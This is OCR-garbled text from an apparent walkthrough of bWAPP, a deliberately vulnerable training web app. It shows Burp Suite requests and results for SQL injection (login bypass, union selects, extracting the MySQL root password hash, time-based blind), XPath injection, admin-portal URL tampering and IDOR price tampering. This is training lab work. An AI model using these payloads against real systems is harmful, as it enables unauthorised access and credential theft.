Man of Steel 2013 Clark Kent action Link
Terminator Salvation 2009 John Connor sci-fi Link
The Amazing Spider-Man 2012 Peter Parker action Link
The Cabin in the Woods 201 Some zombies harror Link
The Dark Knight Rises 2012 Bruce Wayne action Link
The Fast and the Furious 2001 Brian O'Connor action Link
The Incredible Hulk 2008 Bruce Banner action Link
Woaorld War Z 2013 Gerry Lane harror Link
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[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

{Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

J T HTTP history T WebSockets history T Options ]

| #| Reguest to hitp://192.168.254.131:80

l Forward | L Drop J ( Intercept is on ! Action J

_[ Raw T Params T Headers T Hex ]

POST beAPPfsqli_E.php HTTE/ 1.1

Host: 192.1€8.254.131

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rwv:3€e.0) Gecko/20100101 Firefox/3E6.0
Aocept: text/html, application/xhtml+xml, application/xml;q=0.59, */ % q=0.8
Aecept-Language: en-US,en;qg=0.5

Aocept—Encoding: gzip, deflate

Beferer: http://192.168.254.131/bVAPF/sqli_6.php

Cookie: security lewvel=0; PHPSEZSZID=11fe3445ad3iildascceld47893042£4740
Connection: keep:alive

Content-Type: application/x-www—form-urlencoded

Content-Length: Z0

citle=s&caction=search

File Edit View

an e><+r‘emely buaﬂy web opp |

Eauas C’nanae Password Create User Set Sec.ur“'rl-y Level Reset

/ SQL Inection (POST/Search) /
Search for a movie: iron' or 1=2&  Search |

Title Release Character Genre IMDb

Mo movies were found!
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[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alertz 1

_[ T HTTP higtory I WebSockets history T Optionz ]

#°| Reqguest to hitp://192.168.254.131:80

L Forward | l Drop | | Intercept is on [ | Action [

| G roreem | mtes | o)

POST /LWAPP/scqli €.php HTTR/L.1

Ho=st: 19Z2.1F8.254.131

User-Agent: Mozilla/5.0 (Windows IT €.1; WOWE4; rv:36.0) Gecko/Z0l00Ll0Ll Firefox/3€.0
Aocept: text/html, application/xhtml+4xml, application/xml;q=0.9, */ *;q=0.8
Locept-Language: =n-US, en;q=0.5

Locept-Encoding: gzip, deflate

Referer: http://192.168.254. 13 1/bWAFPP/sqli_ &.php

Cookie: security level=0; PHPSESSID=11f=3445ad33ldasccel4709304264745
Connection: keep-alive

Content-Type: application/x-www-form-urlencodsd

Content-Length: 39

title=ironsZ7+o0r+1%3DI2%23kaction=search

File E

an ex+r‘emely buﬂgy web opp |

Bugs Chahﬂe Password Create User Set 5ecur'i+y Level Reset Credits

/ SQL Inection (POST/Search) /

Search for a movie: n' union select12,34567# | Search |

Title Release Character Genre IMDb

MNo movies were found!
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[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Targ&t T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Cptions TAI&rts ]

J i i I HTTP history TWehSuckets history T Options ]

L-ﬂ Request to hitp:i192.168.254.131:80

[ Forward | [ Drop J [ Intercept iz on | Action
_[ Raw T Params T Headers T Hex ]

POST /LWAPP/scli €.php HTTR/L.1

Host: 192.1£8.254.131

User—-Agent: Mozilla/5.0 (Windows WNT €.1; WOWE4:; rv:36.0) Gecko/Z0Ll00L101 Firefox/3E€.0
LAocept: text/html, application/xhtml4xml, application/®xml;g=0.9, "%/ *;q=0.8
Aocept-Language: en-US,en:q=0.5

Aocept-Encoding: gzip, deflate

Referer: http://182.168.254.131/bWAPP/scli €.php

Cookie: security lewvel=0; PHPSESSID=11fe3445ad3i3l4ascceld759354264745
Connection: keep-aliwve

Content-Type: application/x-www-form-urlencodsd

Content-Length: 70

title=ironsi7+uniontselect+l%2CI%5203%204%2C5%2Ce52CT+523 caction=search
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SQLi (POST/Select)

March 31, 2015 1:06 PM

[E Burp Suite Fre= Edition v1.6

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

J T HTTP history I WebSockets history I Options ]

R4 Request to hitp://192.168.254.131:80
[ Forward | l Drop | | Intercept is on [ | Action |

J Raw I Params T Headers T Hex ]

POST /BWAFP/scli 13.php HTTR/L.1

Host: 19Z.1l68.254.131

User—Agent: Mozilla/5.0 (Windows NT €.L1; WOWE4; rv:3&£.0) Gecko/I0l00L0Ll Firefox/3€.0
Aeocept: text/html, application/xhtml4xml, application/xml;q=0.8, */*;q=0.8
Aocept-Language: en-US, 2n;q=0.5

Aocept—-Encoding: gezip, deflate

Referer: http://192.183.254.131/bWAPP/sqli 13.php

Cookie: security level=0; PHPSESSID=11f=3445ad33ldascceld78394264749
Connection: keep-alive

Content-Type: application/x-www—form—urlencoded

Content-Length: 17

movie=2Z00 union select 1,2,3,4,5,68, 7#&action=go

4 bWAPP - SOL Injection -

File Edit

ah extremely buggy web app !

Buﬂs Change Password Create User Set Semri-l-y Level Reset

/ SQL Injecﬁon (POST/Select) /

Select a movie: G.I. Joe: Retaliation -~ | Go

Title Release Character Genre IMDb

2 3 5 - Link
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SQLi (Login Form/Hero)

March 31, 2015 2:48 PM

[E Burp Suite Free Edition v16

Burp Intruder Repeater Window Help

[Target T I Spider T Scanner T Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Options T Alerts ]

_[ T HTTP history I WebSockets history T Optionz ]

#| Reguest to hitp://182.168.254.131:30
L Forward | |_ Drop [ | Intercept is on [ | Action [

| G roreem | e | i)

FPOST /LWAPF/=qli 3.php HTTP/L.L

Host: 19Z2.168.254.131

Uzer-Agent: Mozilla/S5.0 (Windows NT €.1; WOWE4; rv:36.0) Gecko/Z0l00Ll0Ll Firefox/3E€.0
Aocept: text/html,application/xhtml+4xml, application/xml;q=0.9, "/ *;q=0.8
Lecept-Langquage: =n-US, en;oq=0.5

Locept-Encoding: gzip, deflate

Beferer: http://192.1658.254. 13 1/bWAPP/sqli 3.php

Cookie: security level=0; PHPSESSID=aallbc3icfed455cT7503€a79957541EbED
Connection: keep-aliwve

Content-Type: application/x-www—form—urlencoded

Content-Length: 31

login="'é&password=&form=submit

@ bWAPP - SQL Injection - Mozilla Firefox i
File Edit View History Bookmarks

192.168.254.131/b

an ex+r‘emel\/ bUf)f]Y web app !

Chanae Password Create User Set Sec;uri-l-\/ Level Reset Credits

/ SQL Injec.ﬁon (Login Form/Hero) /

Enter your 'superhero’ credentials

Login:

Password

Login

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near "" AND password =" at line 1
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[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target I T Spider T Scanner T Intruder I Repeater T Sequencer I Decoder I Comparer T Extender T Options IAIerts ]

_[ T HTTP history T WebSockets history T Options ]

|ﬁ| Request to hitp://192.168.254.131:80

|_ Forward .| |_ Crop ] ( Intercept is on | l Action
_[ Raw T Params T Headers T Hex ]

POST /LWAPP/scli 3.php HTTR/L.1

Host: 192.188.254.131

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:36.0) Gecko/Z0100101 Firefox/3&.0
LAocept: text/html, application/xhtml+4xml, application/xml:q=0.9, */*:q=0.8
Locept-Languages: en-UsS,en;q=0.5

bocept—-Encoding: gzip, deflate

Beferer: http://192.168.254.131/bWAPF/=sqli 3.php

Cookie: security lewvel=0; PHPSESSID=aalbc3cfed455c775c36a7595957541EbED
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: I8

login=' or l=l#ipassword=&form=submit

login="' or 1=1#&password=&form=submit

@ bWAPP - SQL Injection - Mozilla Firefox

File Edit View

an extremely k?uc_;)ﬂy web opp !

E}hanﬂe Password Create User Set Secur"rl-y Level Eeset

/ SAL Injection (I_ogin Form/Hero)

Enter your 'superherc' credentials
Login:
Password

Login

W

Welcome Neo, how are you today?

Your secret: Oh Why Didn't | Took That BLACK Pill?
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= BEelbea-hox: 1/ tnip;

File Edit View Terminal Tabs Help

GNU nano 2.08.7 File: /var/www/bWAPP/sgli
<?php

if(isset($ POST["form"]))

{
$login = § POST["login"];
$login = sqli($login);
$password = § POST["password"];
$password = sqli($password);
$sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";

// echo 3$sql;
$recordset = mysgl query($sql, $link);

if(!$recordset)

{
die("Error: " . mysql error());
else

$row = mysql fetch array($recordset);

if($row["login"])
{

// $message = "<font color=\"green\"=Welcome " . ucwords($row["login"]) . "...</font>";
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SQLi Stored (Blog)

March 31, 2015 3:34 PM

File Ec

ah extremely buaﬂy web app |

Bugs Change Password Create User Set Security Level Reset Credits

/ SQL Inection - Stored (Blog) /

Add an entry to our blog

Add Eniry |

# Owner Date Entry

File Edit View

192.168.254.131

an ex+r-emel\/ bUf)f]Y web opp !

Buﬂs Chanae Password Create User Set Sec;ur"rl-\/ Level Reset Credits

/ SQL Inection - Stored (Blog) /

Add an entry to our blog

Add Entry | Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near [29] at line 3
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an ex+r‘emely bu.%y web app f

Bugs Change Password Create User Set Security Level Reset Credits Bl

/ SQL Injection - Stored (E’:lo.a) /

Add an entry to our blog:

EesE . TEeaEt)

Add Entry | Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near 'bee') at line 3

test','test')#
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File Edit Vie

—
g

an ex+r‘emely buﬂf]y web app !

Bugs Change Password Create User Set Security Level Eeset Credits

/ SQL Inection - Stored ( Blo.a) /

Add an entry to our blog

Add Entry | The entry was added to our blog!

= Owner Date Entry
2015-03-31
1 test test
23:41:02
}16-03-!
5 bee 2015-03-1 1
23:41:06

an e><+r‘emely bua@y web opp !

Bugs Change Password Create User Set Security Level Reset Credits Bl

/ SQL Injection - Stored (Blog) /

Add an entry to our blag

canaryl','canaryZ"')#

Add Entry | Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near 'union select 1,23 4 'bee’)' at line 1
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4. bWAPP - 5QL Injection - Mozill

File Edit View Histon

an ex+remely buﬂgy web opp f

Bugs Change Password Create User Set Security Level Reset Credits

/ SQL Inection - Stored (Blog) /

Add an entry to our blog:

AddEntry | The entry was added to our blog!

= Owner Date Entry
2015-03-31
1 test test
23:41:02
5 bee 2015-03-31 1
23:41:06
3 canary?2 2015-02-31 canary1
234324

canaryl','canary2')#
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File Edit View

ah extremely buagy web opp !

Bugs Change Password Create User Set Security Level Reset Credits Bl

/ SQL Infection - Stored (Blog) /

Add an entry to our blog:

canaryl', (gzelect password from mysgl.user where user='root' limit O0,1))#

Add Entry | Error: You have an error in your SAL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near 'canary1’,(select user())#','bee') at line 4

canaryl',(select password from mysqgl.user where user="root' limit 0,1))#
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& bWAPP - SQL Inje -

s Help

ah extremely bUﬂf]Y web opp f

Buﬂs C}hanae Password Create User Set Sec;urﬂ-y Level Reset Credits

/ SQL Infection - Stored (Blog) /

Add an entry to our blog:

Add Entry | The entry was added to our blog!

# Owner Date Entry
2015-03-31

1 *07BDCCE30E93A12AA2B693FDO9990F044614A3ES N canary1
23:49:42

2 5.0.96-0ubuntu3 201_3_03_31 canary1
235321
2015-03-31

3 root@localhost _D canary1
23:53:30

canaryl',(select version()))#
canaryl',(select user()))#
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SQLi Stored (User-Agent)

March 31, 2015 3:56 PM

3 bV 1,‘. 0

Edit

File

itorsbt X+

Create User

Bugs Change Password

Set Security Level Reset Credits

/ SQL Injec’rion - Stored (UGer'—Aaenﬂ /

Your IP address and

Jser-Agent string have been logged into the database! (download log file
An overview of our latest visitors
Date IP Address User-Agent

Mozill

alsb (

Firefox/36.(

[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[ Target T Proxy I Spider I Scanner T Intruder I Repeater T Segquencer T Decoder I Comparer T Extender I Options I Alerts ]
Lﬁj Request to http://192.168.254.131:80

| J l ] [ Interceptiz on | Action

_[ Raw T Params T Headers | Hex

GET /bWAPP/scli 17.php HTTF/L1.1

rcept T HTTP history T WebSockets history T Options ]

Forward Drop

Host: 19Z2.168.254.131
User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:3f.0) Gecko/Z01l00101 Firefox/3€.0
Aocept: text/html,application/xhtml4xml, application/xml;q=0.5, %/ *:q=0.8

Locept-Language:
Lecept-Encoding:
Cookie: security

en-U3,en;g=0.5
gzip, deflate

lewel=0;

PHPSESSID=fSc4f5158f43 3ecdbbealilteeTh9edsdd

Connection:

keep-alive

I Burp Suite Free Editicn v1.

Burp Intruder Repeater Window Help

[Target T b T Spider I Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer I Extender I Options TA|EﬁS ]
J ;
@’J Regquest to hitp:/182.168.254.131:80

[ J | J | interceptison | | Action

J Raw I Params I Headers | Hex

GET /bWAPP/sqli 17.php HTTP/L.1

Host: 192.188.254.131

User—-Agent: !

Aocept: text/html, application/xhtml4xml, application/xml;q=0.9,*/*:q=0.8
Lecept-Language: en-U3,en;qg=0.5

Lecept-Encoding: gzip, deflate

Cookie: security_level=0: PHPSESSID=fS9c4f518f43 13edbheall8feTh%edsd4
Connection: keep-alive

roept T HTTP history T WebSockets history T Options ]

Forward Drop
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192.168.254.131

Error: You have an error in vour SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near JERRIRBEEREY at line 1

[E. Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target I T Spider T Scanner T Intruder T Repeater T Sequencer I Decoder I Comparer I Extender T Options TAIerts ]

J T HTTP history T WebSockets history I Options ]

| _°8”_| Request to hitp:/1192.168.254.131.80

L Forward | l Drop J [ Intercept is on | Action J

_[ Raw T Params T Headers | Hex

GET /bWAPP/scli L7.php HTTR/1.1

Host: 192.168.254.131

User—Agent: canaryl','canaryl')#

Aocept: text/html,application/xhtml4xml, application/xml;q=0.9,*/*:q=0.8
Locept-Language: en-TUS,en:qg=0.5

Aocept-Encoding: gzip, deflate

Cockie: security level=0; PHPSESSID=fSc4f518£43l3edbhealliieThS2d5d4d
Connection: keep-alive

la Firefos

History Bookmarks Tools Help
http://192.168.2...0gs/visitors.bt X =+

192,168.254.131/b\

Create User Set Security Level Reset Credits

Date IP Address User-Agent

36.0) Gecko/20100101

ndows NT 6.1; WOWS64; rv:36.0) Gecko
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|E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T XY T Spider I Scanner I Intruder I Repeater I Segquencer I Decoder T Comparer I Extender I Options I Alerts ]

J niercept T HTTP history TWehSnckets history T Options ]

@’J Request to hitp://192.168.254.131:80

[ Forward J | Drop J | interceptizon | | Action
J Raw T Params I Headers | Hex

GET /bWAPF/=qli 17.php HTTP/Ll.1

Host: 192.1F8.254.131

User—Agent: canaryl', (select password from mysgl.user where user='root' limit 0,1))#
Aocept: text/html,application/xhtml+xml, application/=xml;q=0.9,*/*;q=0.8
Lecept-Languages: en-US, en;g=0.5

Lecept-Encoding: gzip, deflate

Cookie: security level=0; PHPSESSID={fS9c4f518f43 13edbbeallBfeThoedsdd

Connection: keesp-alive

3 bWAPP - SQL !

File Edit View marks Tools Help

http://192.168.2...0gs/visitors.xt X = +

Bugs Change Password Create User Set Security Level Reset Credits Ble

An overview of our latest visitors

Date IP Address User-Agent

2015-04-01

)0:01°46

07BDCCE30E93A12AA2B693FDII990F044614A3E SEENERY

canary?2

canary1
)0:00:14

192 168.254.1
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SQLi Blind (Boolean Based)

April 1, 2015 9:31 AM

an ex+r‘emely bU‘f}ﬂY web opp |

Bugs Change Password Create User Set Security Level Reset Credits

/ SGL Injection - Blind - Boolean-Based /
Search for a movie: test' or 1=1# Search

The movie exists in our database!

This can be leveraged in conjunction with the substring function to identify table names based on
true/false responses
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SQLi Blind (Time Based)

April 1, 2015 9:35 AM

an extremely Iaugﬂy web opp |

E:u.ﬂf—:. Chanﬂe Password Create User Set Sec.ur'rl-y Level Reset ]

/ SQL Injection - Blind - Time-Based /

Search for a movie: [Egeli==z | Search |

The result will be sent by e-mail

- SOL Injectic
History Bookmarks Tools

262 C1)+ %30+ '5" %2 C+ SLEEP (5) %62 C+ D) &action=search

on e><+r‘emely bt.]ﬂﬂy web app |

Eaugs Chanﬂe Password Create User Set Secur"'ri-y Level Reset Iz

/ SQL Injection - Blind - Time-Based /

Search for a movie: OM().1.1)="5", SLEEP(5). 0)# | Search

The result will be sent by e-mail

test'-IF(MID(VERSION(),1,1) = '5', SLEEP(5), O)#
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XML/XPATH Injection (Login Form)

April 1, 2015 10:14 AM

Intercept responses

http://pastebin.com/index/uT6zQGVx

& bWAPP - XML/XPath In

File Edit View

an ex+remely buﬂgy web opp !

Eau.at; Change Password Create User Set Sec.urH-y Level Reset

/ XML/XPath Injection ( Login Form) /

Enter your 'superhero’ credentials.

Login:

Password:

Login

Slogin =$_REQUEST["login"];
Slogin = xmli(Slogin);

Spassword =S_REQUEST["password"];
Spassword = xmli(Spassword);

// Loads the XML file
Sxml = simplexml_load_file("passwords/heroes.xml");

// XPath search
Sresult = Sxml->xpath("/heroes/hero[login=

. Slogin . "' and password="". Spassword . "']");
[login=""". Slogin . "' and password="". Spassword . "]

[login=""and password="

[login='whatever" and password="
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http://pastebin.com/index/uT6zQGVx

[login='whatever' or 1=1' and password="
[login='whatever' or 1=1 or " and password="

whatever' or 1=1 or'

I Burp Suite Free Edition v1.6 %m L

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

J T HTTP history T WebSockets history I Options ]

#| Request to http://192 168 254 131:80

§ Forward [ L Drop | | interceptizon | | Action |

J Raw T Params I Headers I Hex ]

GET thAPPfxmli_l.php?ngin=whatever%2?+Dr+l%3Dl+0r+%2?&passward=&farm=suhmit HTTE/ 1.1
Host: 192.1£6E.254.131

User-Agent: Mozilla/5.0 (Windows NT €.Ll; WOWE4: rv:36.0) Gecko/Z0100Ll0L Firefox/36.0
LAocept: text/html,application/xhtml+4xml,application/xml;c=0.9,*/*;q=0.8
Aocept-Language: en-US, en;gq=0.5

Aocept-Encoding: gzip, deflate

Beferer: http://192.168.254. 13 1/bWAPPF/xmli_ 1.php

Cookie: security level=0; PHPSESSID=cadS0esfaZc&f423Zfaa3lah85388cea’

Connection: keep-alive

Eile Edit View

or+1%301+or

an ex+r‘emely buggy web opp f

Bu.ﬂs Chanﬂe Password Create User Set Sec.t.ar'rl-y Level Reset iE

/ XML/XPath Injection ( Login Form) /

Enter your 'superhero’ credentials.

Login:
Password:
Login

Welcome Neo, how are you today?

Your secret: Oh why didn't | took that BLACK pill?
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A2: Broken Authentication

April 1, 2015 3:24 PM

Areas with an asterix next to them have not been listed in this walkthough.

Broken Authentication - Insecure Login Forms
Broken Authentication - Logout Management
Session Management - Administrative Portals

*Broken Authentication - CAPTCHA Bypassing
*Broken Authentication - Forgotten Function
*Broken Authentication - Password Attacks
*Broken Authentication - Weak Passwords
*Session Management - Cookies (HTTPOnly)
*Session Management - Cookies (Secure)
*Session Management - Session ID in URL
*Session Management - Strong Sessions
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BA - Insecure Login Form

April 1, 2015 3:25PM

File Edit View Help

<p>Enter your credentials.</p>

<form action="/LWAPE/ka inzecure login l.php" method="EOST">

<p><label for="login">Login:</label><font c:olor="'white"c,-"font)—(br -3
<input type="text" id="login" name="login" size="20" /></p>

<p»<label for="password"»>Password:</label><font ecolor="white">I am Iron Man</font><br />
<input type="password" id="password" name="password" size="2Z0" /></p>

<button type="submit" name="form" wvalue="submit">Login</button>
</form>

</br >

</div>
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BA - Logout Management

April 1, 2015 3:26 PM

e>;<+r*emely buggy web opp |

Bugs Change Password Create User Set Security Level Reset Credits

BWAPP is licensed under & 2014 MME BVBA / Fdllow on Twitter and ask For our cheat shee

[ > Console @ Debugger [# style Editor @ Performance T Metwork
html body div¥main p H

<h1></hl>
<p>
Click

w ¢a onclick="return confirm('Are you sure?'):” href="ba_logout_1.php"> «
here

i » Console i) Debugger [# Style Editor
htrml body div#rmain P H

<hl></hl>
<pz
Click

w <@ onclick="return confirm{'Are yvou sure?'};" href="ba_logout.php"> e

here
<far
to logout.
fp*
<fdive

el LI | L B | P 2 Py
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BA - Session Management

April 1, 2015 3:31 PM

192.168.254.131/1

an eerr‘emely Iou%y web opp |

Bugs Change Password Create User Set security Level Reset Credits

/ Session Mz_;]er, - Administrative Portals /

This page is locked.

HINT: check the URL...

[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options Tﬁ\l&l‘t& ]

J T HTTP history T WebSockets history T Options ]

#| Reguestto hitp:/1182 168 254.131:80

L Forward | |_ Drop | | Intercept iz on [ | Action |

J Raw I Params T Headers T Hex ]

GET /bWAPP/smgmt_adwin portal.php?admin=1| HTTP/ 1.1

Host: 192.1g8.254.131

User-Agent: Mozilla/5.0 (Windows WNT £.1; WOWE4; rv:3E.0) Gecko/Z0Ll00Ll0Ll Firefox/36.0
Locept: text/html, application/xhtml+xml, application/xml;q=0.8, %/ *:q=0.8
Aocept-Language: en-US, en;qg=0.5

Aocept-Encoding: gzip, deflate

Cookie: security lewvel=0; PHPSESS5ID=cEslllbaSBhS==£6la42260444ddl453b

Connection: keep-aliwve
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e

an e><+r‘emely buggy web app f

Change Password Create User Set Security Level Reset Credits

/ Session Mc_;]er. - Administrative Portals /

Cowabunga...

You unlocked this page using an URL manipulation.
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A4: Insecure Direct Object References

April 1, 2015 3:46 PM

Areas with an asterix next to them have not been listed in this walkthough.

Insecure DOR (Change Secret)
Insecure DOR (Order Tickets)

*Insecure DOR (Reset Secret)
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Insecure Direct Object Reference (Change Secret)

April 1, 2015 3:42 PM

& BWAPP - Insecure DOR

File Edit V

an extremely buﬂﬂy web opp |

Eauats C,hanae Password Create User Set Sec.‘.ur"i-l-y Level Reset

/ Insecure DOR (C,hanﬂe Secret) /

Change your secret

New secret
1

Change

The secret has been changed!

[E Burp suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

_[ T HTTP history T WebSockets history T Options ]

Lﬁj Request to hitp:/i192.168.254.131:80

[ Forward | L Drop [ | interceptiz on | Action [

J Raw T Params I Headers I Hex ]

POST /BLWAPF/insecure direct object ref l.php HTTP/L.1

Host: 158Z2.1€8.254.131

User—-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:3€.0) Gecko/Z0Ll00L0L Firefox/36.0
Aoccept: text/html, application/xhtml4xml, application/xml;q=0.9, */*:2¢=0.8
Aocept-Language: en-US,en;q=0.5

Aocept-Encoding: gzip, deflate

BEeferer: http:fflSS.168.354.LBlbeAPPfinsecure_direct_nbject_ref_l.php
Cookie: security level=0; PHPSESSID=8af6la33000ce55€3381lcE034564=3dd7
Connection: keep-alive

Content-Type: application/x-wwwv—form—urlencodsd

Content-Length: 32

secret=l&login=hesgaction=changs

Bee can be changed to bob
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[E Burp Suite Fre= Edition v1.6 |

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

J nitercept T HTTP history I WebSockets history I Options ]

| Request to hitp:/f192 168.254 1341:30

l Forward J l Drop J [ Intercept is on ] Action
J Raw T Params I Headers I Hex ]

POST /bWAFP/ insecure_direct chject_ref Ll.php HTTP/L.1

Host: 19Z2.1e8.254.131

User—Agent: Mozilla/5.0 (Windows NT €.L1; WOWEd; rv:3&£.0) Gecko/IZ0l00L0Ll Firefox/3€.0
Aocept: text/html, application/xhtml4xml, application/xml;q=0.8, */*;q=0.8
Aocept-Language: en-US, =2n;q=0.5

Aocept—-Encoding: gzip, deflate

Referer: http://192.168.254.131/bWAPP/insecure direct object ref l.php
Cookie: security level=0; PHPSESSID=0acla33i000ce55£3381lcE03456423dd7
Connection: keep-alive

Content-Type: application/x-www—form—urlencoded

Content-Length: 31

secret=&login=bob|&action=change
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Insecure Direct Object Reference (Order Ticket)

April 1, 2015 3:51 PM

4 bWAPP - Insecure DOR - Mozilla Firefo

Eile Edit View History Bookmarks Tools Help

[ —
v

aon ex-l'r‘emely l::uﬂﬂy web app !

E»uﬂs i}lr-.an.ﬂe Password Create User Set 5&c.1.ur"i+y Level

/ Ihsecure DOR. (Order Ticket

How many movie tickets would you like to order? (15 EUR per ticket)

| would like to order 10 tickets
Confirm

You ordered 10 movie tickets.
Total amount charged from your account automatically: 150 EUR.

Thank you for your order!

[E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T Optionz IAIerts ]

J T HTTP history T WebSockets history T Options ]

| #| Reguestto hitp:i1192.168.254.131:80

L Forward | [ Drop J [ Interceptis on | Action ]

[ Raw I Params I Headers I Hex ]

POST request to /BWAPP/inzecure_direct_object_ref_2.php

Type | Mame | Value

Cookie security_level 0

Cookie PHPSESSID 8a61a33000ce5513381 c6034564e3dd7
Body ticket_guantity 10

Body ticket price 15

Body action order
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[E Burp Suite Free Edition v1.6 - o -
Burp Intruder Repeater Window Help
[Targ&t T b T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options ]’Alerts ]

J nt i I HTTP history TWehSuckets history TDptiuns ]

Lﬁj Request to http:i192.168.254.131:80

[ Forward J [ Drop [ [ Intercept is on | Action [

[ Raw T Params T Headers T Hex ]

POST request to /BWAPP/insecure_direct_object_ref_2.php

Type | Mame | Walue

Cookie security_level 0

Cookie PHPSESSID 8a51a33000ce55f3381c6034564e3ddT
Body ticket_guantity 10

Body ticket_price 0

Body action order

4 bWAPP - Insecure DOR -

Eile Edit View History B : Tools Help

+

an extremely buﬂﬂy web opp f

Buﬂs Chan.ﬂe Password Create User Set EECAJTH‘Y Level

/ Ihsecure DOR. (Order Ticked

How many mavie tickets would you like to order? (15 EUR per ticket)

| would like to order 1 tickets.
Confirm

You ordered 10 movie tickets
Total amount charged from your account automatically: 0 EUR.

Thank you for your order!
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Ab6: Sensitive Data Exposure

April 2, 2015 9:15 AM

Areas with an asterix next to them have not been listed in this walkthough.

Base64 Encoding (Secret)
HTML5 Web Storage (Secret)

*BEAST/CRIME/BREACH Attacks
*Clear Text HTTP (Credentials)
*Heartbleed Vulnerability

*Host Header Attack (Reset Poisoning)
*POODLE Vulnerability

*SSL 2.0 Deprecated Protocol

*Text Files (Accounts)
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Base64 Encoding

April 2, 2015 9:15 AM

E Gurp Suite Free Edition v16
Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder I Repeater T Sequencer Tﬂemdet T Comparer T Extender IOpﬂDns IAlerts ]
awssic1Zan] @ Text O Hex (2]
Decode as ... A4
Encode as ... =
Hash ... A4
| Smartdecode J

Any bugs? @ Text O Hex

Decode as ... =

Encode as ... A4
Hash ... =

| Smartdecode |

s

Burp Intruder Repeater Window Help

[ Target TProxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer Tbctender T Options T Alerts ]

j intercept T HTTP history T WebSockets history T Cptions ]

#| Regquest to hitp:/M82.168.254.131:80

l Forward J l Drop J l Intercept iz on ] l

Action |

[Raw TPammsTHeaders m

GET reguest to /BVWAPP/insecure_crypt_storage_3.php

Type | Name | Value

Cookie security_level o

Cookie PHPSESSID 53306ec22f06044530bacs902ca02160
Cookie secret [ awssicrizam
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HTML5 Web Storage

April 2, 2015 9:16 AM

an eerremely buﬂf]y web opp !

Bu.ﬂg L,hanﬂe Password Create User Set Sec.urH-y Level Eeset

/ HTML5 Web Storage (secret) /

Your login name and secret have been stored as HTMLS web storage!

HINT: try to grab it using XS5...

& Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target Spider ] Scanner ] Intruder ] Repeater [Sequen:,er T Decoder ] Comparer [Exlender ] Options ] Alerts |

_[ ] HTTP history T WebSockets history ] Options ]

Response from hitp:/182,168.254,131:80/bWAPP/insecure_crypt_storage_1.php

Forward | Drop | Intercept is on | Action

Raw | Headers TEI HTHML | Render |

HTTP/1.1 200 OFK
Date: Thu, OI Apr Z0L15 15:47:17 GMT

: Apache/2.2.8 (Ubuntu) DAV/Z mu_--.l_f_n.-sl'.,t_'-JL_.-":.-‘l.r: PHP/5.2.4-Zubuntus5 with Suhosin-Patch mod ss1/2.2.8 OpensSsSL/0.9.8g
ed-By: PHP/5.IZ.4-Zubuncud

: Thu, 1% Nov 1S81 08:52:00 GMT

trol: no-store, no-cache, must-revalidate, post-c
ache

Fesp-Alive: timeout=15, max=100

Connection: Feep-Alive

JShtml

Content=Length: 13008

0, pre-check=0

Content=Type: te:

<html>
<h=ad>

<meta http-squiv="Content-Typs" content="text/html; charsst=UTF-8">

" href="scylesh
icon"™ href="images/favicon.ico"

<scripts

if(typeof(Storage) '== "undefined")

{
localStorage.login = "bee” ;
localStorage.secret = "Any bugs?";
}
else
{
alert("Sorry, your browser does not support web storage...");
¥
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if{typeof(Storage) '== "undefined")
i

localStorage.login = "bee' ;
localStorage.secret = "Any bugs?"
alert{localStorage.login) ;!
alert{localStorage.secret) ;

Any bugs?

[] Preventthis page from creating additional dialogs
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A7: Missing Functional Level Access Control

April 1, 2015 4:06 PM

Areas with an asterix next to them have not been listed in this walkthough.

Directory Traversal - Files

Host Header Attack (Cache Poisoning)
Remote & Local File Inclusion (RFI/LFI)
Restrict Device Access

XML External Entity Attacks (XXE)

*Directory Traversal - Directories
*Host Header Attack (Reset Poisoning)
*Local File Inclusion (SQLiteManager)
*Restrict Folder Access

*Server Side Request Forgery (SSRF)
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Directory Traversal (Directories)

April 1, 2015 4:07 PM

L 55 Con
